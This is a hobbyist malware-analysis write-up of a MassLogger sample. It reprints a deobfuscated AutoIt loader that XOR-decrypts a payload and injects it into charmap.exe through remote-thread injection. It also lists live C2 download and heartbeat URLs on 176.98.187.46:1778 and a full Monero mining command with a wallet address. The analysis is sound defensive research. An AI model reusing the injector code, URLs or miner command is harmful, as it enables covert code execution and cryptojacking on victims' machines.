MassLogger, an information-stealing malware designed to capture credentials, keystrokes, and clipboard data from victims, has been gaining prevalence in the threat landscape, with campaigns of various sizes and victimology observed worldwide. (Yes I copied this from broadcom lol)

Anyways, as usual I was on MalwareBazaar, wishing to find a fresh malware and the one that caught my eye was the MassLogger tagged bat file.

1|1000

There are more example MassLogger executables uploaded by lowmal3, but I chose this one to analyze, because others were almost same thing and some of them were .Net executables, which is old technique used by MassLogger.

This is the malware flow I made while analyzing the malware:

1|700

NOTE: To make it clear, all these executables are injected into different legit applications and executed as new thread. i don't want to repeat it every time. At the top you can see a binary file named "sqNnY.bin", it will be our main target in this analysis but before that I want to tell what the other exe files does first. Starting from decrypted "aLlTeucWnrhechxHC.bin", first checks for debugger and simple VM detection (it is too easy to detect and bypass). Next "installer" is downloaded and executed, it drops new files and executes the au3 file. Last au3 file was most obfuscated one but it is not really difficult to deobfuscate it:

#cs
$vkkiihtobf = \nwekwowlwhwcogczoft
$nticu = C:\Windows\System32\charmap.exe
$cwipirw = kernel32.dll
$gsnfwdmcztclwcovhkqgi = OpenProcess
$gdixmilpmsosbp = VirtualAllocEx
$jecokuozjfa = WriteProcessMemory
$nhybphxljwzq = CreateRemoteThread
$rjhkweazp = CloseHandle
$fosxprdysmayinrykddwmelktkhpm = handle
$zixjs = dword
$xkitfxhddsbtsyuxw = bool
$lbcideknmrnsazvfazvjqox = ptr
$gbjoxnfcmfxrj = ulong_ptr
$gejrlpqkrcxnxubmbxdu = struct*
$buwqyl = dword*
$gvbdvltraydirvkh = byte[
$kplaadznpnfjmbmdfevat = ]
$mbklctvdfrnfgjakgsbqgx = 0x1F0FFF
$hnxremrogwsdjpoags = 0x3000
$invhvdcuydydlonc = 0x40
#ce

Global $pjbhqshpkkrdxsjiyzikstcp = FileOpen(@ScriptDir & $vkkiihtobf, 16)
Global $ewwhytiyydkuc = FileRead($pjbhqshpkkrdxsjiyzikstcp)
FileClose($pjbhqshpkkrdxsjiyzikstcp)

Global $mkzfc = BinaryLen($ewwhytiyydkuc)
If $mkzfc = 0 Then Exit

Global $mleqiqnnnbwglgehhkicmgaklppajh = DllStructCreate($gvbdvltraydirvkh & $mkzfc & $kplaadznpnfjmbmdfevat)
DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $ewwhytiyydkuc)
For $rpmvy = 1 To $mkzfc
    DllStructSetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, BitXOR(DllStructGetData($mleqiqnnnbwglgehhkicmgaklppajh, 1, $rpmvy), 185), $rpmvy)
Next

Global $yapoagjwmurj = Run($nticu, "", @SW_HIDE)
Global $lshbtrvzmznfktftandgtxfwse = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $gsnfwdmcztclwcovhkqgi, $zixjs, $mbklctvdfrnfgjakgsbqgx, $xkitfxhddsbtsyuxw, False, $zixjs, $yapoagjwmurj)[0]
Global $ynvhvx = DllCall($cwipirw, $lbcideknmrnsazvfazvjqox, $gdixmilpmsosbp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, $mkzfc, $zixjs, $hnxremrogwsdjpoags, $zixjs, $invhvdcuydydlonc)[0]

DllCall($cwipirw, $xkitfxhddsbtsyuxw, $jecokuozjfa, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, $ynvhvx, $gejrlpqkrcxnxubmbxdu, $mleqiqnnnbwglgehhkicmgaklppajh, $gbjoxnfcmfxrj, $mkzfc, $lbcideknmrnsazvfazvjqox, 0)
Global $zsingslima = DllCall($cwipirw, $fosxprdysmayinrykddwmelktkhpm, $nhybphxljwzq, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse, $lbcideknmrnsazvfazvjqox, 0, $gbjoxnfcmfxrj, 0, $lbcideknmrnsazvfazvjqox, $ynvhvx, $lbcideknmrnsazvfazvjqox, 0, $zixjs, 0, $buwqyl, 0)[0]

If $zsingslima Then DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $zsingslima)
DllCall($cwipirw, $xkitfxhddsbtsyuxw, $rjhkweazp, $fosxprdysmayinrykddwmelktkhpm, $lshbtrvzmznfktftandgtxfwse)

Comment section is added by me and removed other decryption parts to make it clear. this au3 will execute our last exe file named "nwekwowlwhwcogczoft".

"nwekwowlwhwcogczoft" is simple C2 that can do 3 things "exit", "update", "stealer".

Simple and clear flow:

  1. Checks if "Software\rub" registry is written, if it is not created, tries to download "http://176.98.187.46:1778/stealer"
  2. Checks if the size of "stealer" more than 1000000, if yes, executing it. else pass.
  3. if "Software\rub" was not created, creates it.
  4. Checks if a file named "paygab" exists in %LOCALAPPDATA%, if so, xor it with "0x60" and execute it.
  5. if paygab doesn't exist, downloads "http://176.98.187.46:1778/miner" and executes it.
  6. miner will check if "sigverif.exe" is running, if so terminates it.
  7. Executes command:
C:\\Windows\\System32\\sigverif.exe --algo=rx/0 --url=gulf.moneroocean.stream:10001 --user=47GrvVWRXX9CbpQ7WKAqR1fP1fEYJpurvj8pAkF8FcgcUJTFi5KpTAmWxv4modTHTMNXZXSxa8K8SijdVHDiAUs69xgSt MY --pass=x --threads=2"

(I am providing the commands but please don't run them unless you want to donate to the malware developer)

  1. Going back to "nwekwowlwhwcogczoft", after trying these things, it checks status of our machine by using InternetOpenUrl API "http://176.98.187.46:1778/heartbeat?userID=xxxx-xxxxx-xxxxx-xxxx" (userID is your machine GUID that got fetched by this executable before from registry) and using InternetReadFile API to check if there is any new command given by C2, as I said there are 3 commands "stealer"/"custom" (same thing), "exit", "update".
  2. why "stealer/custom" can be given? because the one we downloaded before was actually decoy and size was lower than required. (why do this? to hide their project).
  3. other 2 "exit" and "update" are obvious, what they are.

There is a few possible case in our situation:

  1. the fake stealer is to take time of reverse engineers/malware analysts.
  2. it only gives real stealer to trusted (real victim machines by looking at their behaviour), for example I acted different than usual machines while analysing, requesting file a lot of times without checking heartbeat etc.

This was end of the "nwekwowlwhwcogczoft" executable.

The real deal was actually, "sqNnY.bin". Fun part is, I actually thought this is trash code to take our time but it is actually, the main part of the malware. After "xor"-ing it with the key even after you check the file type, it says "not a PE file". Also there is no "MZ" at the first 2 bytes of file. After a little, let' say "OSINT", I found out the "pe to shellcode" project was used for doing this: pe_to_shellcode. A free but powerful project.

"The goal of this project is to provide a possibility to generate PE files that can be injected with minimal effort. It is inspired by Stephen Fewer's ReflectiveDLLInjection - but the difference is that with pe2shc you can add the reflective loading stub post-compilation. Also, the header of the PE file is modified in such a way, that you can start executing the injected buffer from the very beginning - just like you would do with a shellcode. It will automatically find the stub, and continue loading the full PE."